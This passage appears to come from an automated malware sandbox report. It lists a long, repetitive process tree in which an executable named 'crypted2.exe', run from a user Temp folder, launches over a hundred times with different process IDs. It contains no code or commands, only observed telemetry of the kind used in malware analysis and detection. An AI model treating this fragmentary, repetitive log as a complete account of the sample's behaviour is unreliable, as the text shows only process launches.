        PID:6708
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6836
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6968
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5416
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5764
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5204
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6288
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6852
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6832
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6896
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6328
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5144
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6804
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6156
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2572
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7172
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7180
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7188
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7196
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7208
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7220
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7228
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7236
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7244
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7252
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7292
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7300
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7332
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7340
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7352
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7388
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7396
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7404
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7412
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7440
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7448
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7456
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7464
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7484
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7520
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7532
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7540
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7552
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7560
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7568
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7576
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7584
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7592
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7656
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7668
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7680
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7696
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7724
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7748
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7760
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7832
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7848
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7860
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7876
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7896
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7904
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7912
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7920
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7940
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7948
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7964
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7972
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7980
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7988
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7996
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8004
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8020
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8048
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8060
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8096
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8104
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8124
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8132
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8144
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8152
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8168
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8176
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8184
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7360
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7368
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7500
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2760
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7632
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7692
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7792
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7780
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6772
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6768
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7928
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7960
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5236
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8068
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8076
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8092
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8088
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8116
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8140
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7264
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7260
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:4240
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6340
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7888
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6520
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7608
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7636
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7284
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7800
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1120
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8204
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8216
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8224
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8248
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8256
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8272
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8284
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8300
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8332
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8348
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8356
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8368
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8388
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8400
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8428
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8444
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8452
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8464
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8484
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8500
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8508
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8516
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8524
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8532
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8540
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8552
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8560
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8568
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8576
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8584
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8592
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8616
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8628
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8648
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8660
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
